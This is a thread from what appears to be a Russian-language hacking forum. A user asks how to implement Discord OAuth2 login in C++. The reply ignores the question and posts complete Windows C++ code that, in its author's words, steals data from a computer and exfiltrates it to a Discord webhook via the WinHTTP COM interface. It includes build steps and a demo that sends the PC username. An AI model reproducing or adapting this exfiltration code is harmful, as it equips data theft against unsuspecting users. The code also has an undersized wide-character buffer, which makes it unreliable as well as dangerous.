• XSS.stack #1 – первый литературный журнал от юзеров форума

C++ Discord OAuth2 [help]

uglydavidka

HDD-drive
Пользователь
Регистрация
17.11.2022
Сообщения
30
Реакции
0
Всем здравствуйте, решил сделать авторизацию пользователя discord в своём приложении discord, но не нашел никаких репозиториев для реализации этого на плюсах.
Почитал док discord https://discord.com/developers/docs/topics/oauth2 (noad), но не понял даже последовательности действий.
 
Hello, what exactly are you trying to achieve? If you're wanting to simply push data to the server (file attachments, text, etc). I wrote some code ages ago that steals data from the computer and then sends it to a Discord server using a webhook and using the Windows API COM in C++.

1. You need to compile the http request IDL like this (link for tutorial: https://stackoverflow.com/questions/60914124/how-to-import-iwinhttprequest-into-msvc-project)
Код:
C:\Users\User\source\repos\DiscordExfil>midl httprequest.idl
Microsoft (R) 32b/64b MIDL Compiler Version 8.01.0622
Copyright (c) Microsoft Corporation. All rights reserved.
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\um\httprequest.idl
httprequest.idl
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\um\oaidl.idl
oaidl.idl
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\um\objidl.idl
objidl.idl
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\um\unknwn.idl
unknwn.idl
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\shared\wtypes.idl
wtypes.idl
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\shared\wtypesbase.idl
wtypesbase.idl
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\shared\basetsd.h
basetsd.h
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\shared\guiddef.h
guiddef.h
Processing C:\Program Files (x86)\Windows Kits\10\\include\10.0.19041.0\\um\oaidl.acf
oaidl.acf

2. You need to make a Discord hook to the server you want to push data to. It is extremely simple. Here is a tutorial: https://www.svix.com/resources/guides/how-to-make-webhook-discord/

3. Use the code =D .. I've attached httprequest.h - it is a few hundred lines of code. It'll be easier to just download the header and look at it.
C++:
#include <windows.h>
#include <stdio.h>
#include <objbase.h>
#include <propvarutil.h>
#include "httprequest.h"

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")

#define DISCORD_WEB_HOOK_URL L"https://discord.com/api/webhooks/xxx/xxx"

// IID for IWinHttpRequest.
const IID IID_IWinHttpRequest =
{
  0x06f29373,
  0x5c5a,
  0x4b54,
  {0xb0, 0x25, 0x6e, 0xf1, 0xbf, 0x8a, 0xbf, 0x0e}
};

DWORD EhWin32FromHResult(HRESULT Result)
{
    if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
        return HRESULT_CODE(Result);

    if (Result == S_OK)
        return ERROR_SUCCESS;

    return ERROR_CAN_NOT_COMPLETE;
}

IWinHttpRequest* WinHttpRequest;

HRESULT InitializeWinHttpComInterface(VOID)
{
    CLSID WinHttpClsid;
    HRESULT Result = S_OK;

    if(!SUCCEEDED(Result = CLSIDFromProgID(L"WinHttp.WinHttpRequest.5.1", &WinHttpClsid)))
        return Result;

    if (!SUCCEEDED(Result = CoCreateInstance(WinHttpClsid, NULL, CLSCTX_INPROC_SERVER, IID_IWinHttpRequest, (PVOID*)&WinHttpRequest)))
        return Result;

    return S_OK;
}

SIZE_T StringLengthW(LPCWSTR String)
{
    LPCWSTR String2;

    for (String2 = String; *String2; ++String2);

    return (String2 - String);
}

PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
{
    PWCHAR p = String1;

    while ((*p++ = *String2++) != 0);

    return String1;
}

PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
{
    StringCopyW(&String[StringLengthW(String)], String2);

    return String;
}

BOOL FormatDiscordMessage(PWCHAR Buffer, PWCHAR DataToSend)
{
    WCHAR DiscordJsonContentBeginning[] = L"{ \"content\": ";

    if (StringCopyW(Buffer, DiscordJsonContentBeginning) == NULL) return FALSE;
    if (StringConcatW(Buffer, (PWCHAR)L"\"") == NULL) return FALSE;
    if (StringConcatW(Buffer, DataToSend) == NULL) return FALSE;
    if (StringConcatW(Buffer, (PWCHAR)L"\" }") == NULL) return FALSE;

    return TRUE;
}

HRESULT SendBufferToDiscordHook(PWCHAR DataToSend)
{
    HRESULT Result = S_OK;
    VARIANT DiscordPostMessage;
    BSTR DiscordResponseMessage = NULL;
    BSTR DiscordPostMessageSize = NULL;
    
    PWCHAR PostBuffer = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2000 + 16); //max discord message size + padding for json content string
    if (PostBuffer == NULL)
        return E_FAIL;

    if (!FormatDiscordMessage(PostBuffer, DataToSend))
        return E_FAIL;

    if (!SUCCEEDED(Result = VarBstrFromUI4((ULONG)StringLengthW(PostBuffer), LOCALE_USER_DEFAULT, 0, &DiscordPostMessageSize))) goto EXIT_ROUTINE;

    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"Host", (BSTR)L"Discord.com"))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"User-Agent", (BSTR)L"WinCOM"))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"Accept-Encoding", (BSTR)L"gzip, deflate"))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"Accept", (BSTR)L"*/*"))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"Connection", (BSTR)L"keep-alive"))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"Content-Type", (BSTR)L"application/json"))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->SetRequestHeader((BSTR)L"Content-Length", DiscordPostMessageSize))) goto EXIT_ROUTINE;

    InitVariantFromString(PostBuffer, &DiscordPostMessage);

    if (!SUCCEEDED(Result = WinHttpRequest->Send(DiscordPostMessage))) goto EXIT_ROUTINE;
    if (!SUCCEEDED(Result = WinHttpRequest->get_ResponseText(&DiscordResponseMessage))) goto EXIT_ROUTINE;

EXIT_ROUTINE:

    if (PostBuffer)
        HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, PostBuffer);

    if(DiscordResponseMessage)
        SysFreeString(DiscordResponseMessage);

    return Result;
}

HRESULT InitializeConnectionToDiscord()
{
    HRESULT Result = S_OK;
    VARIANT AsyncFlag;

    VariantInit(&AsyncFlag);
    V_VT(&AsyncFlag) = VT_BOOL;
    V_BOOL(&AsyncFlag) = VARIANT_FALSE;

    return WinHttpRequest->Open((BSTR)L"POST", (BSTR)DISCORD_WEB_HOOK_URL, AsyncFlag);
}

int main()
{
    HRESULT Result = S_OK;
    DWORD dwError = ERROR_SUCCESS;
    WCHAR ProofOfConceptDemoBuffer[MAX_PATH] = { 0 };
  
    if (CoInitialize(NULL) != S_OK)
        return GetLastError(); //critical error

    if (!SUCCEEDED(Result = InitializeWinHttpComInterface()))
        goto EXIT_ROUTINE;

    if (!SUCCEEDED(Result = InitializeConnectionToDiscord()))
        goto EXIT_ROUTINE;

    /*
    
    Retrieve the data on the machine that you want to exfiltrate to Discord. This proof-of-concept
    only applies to text data. I have not designed it to work for files and/or media... although
    this is 100% feasible. I wasn't entirely interested in that =D

    To give an example, I will get the username of the PC and send it to Discord
    
    */

    dwError = MAX_PATH;
    GetUserNameW(ProofOfConceptDemoBuffer, &dwError);
    dwError = ERROR_SUCCESS;

    if (!SUCCEEDED(Result = SendBufferToDiscordHook(ProofOfConceptDemoBuffer)))
        goto EXIT_ROUTINE;

EXIT_ROUTINE:

    if (!SUCCEEDED(Result))
        dwError = EhWin32FromHResult(Result);

    if (WinHttpRequest)
        WinHttpRequest->Release();

    CoUninitialize();

    return dwError;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх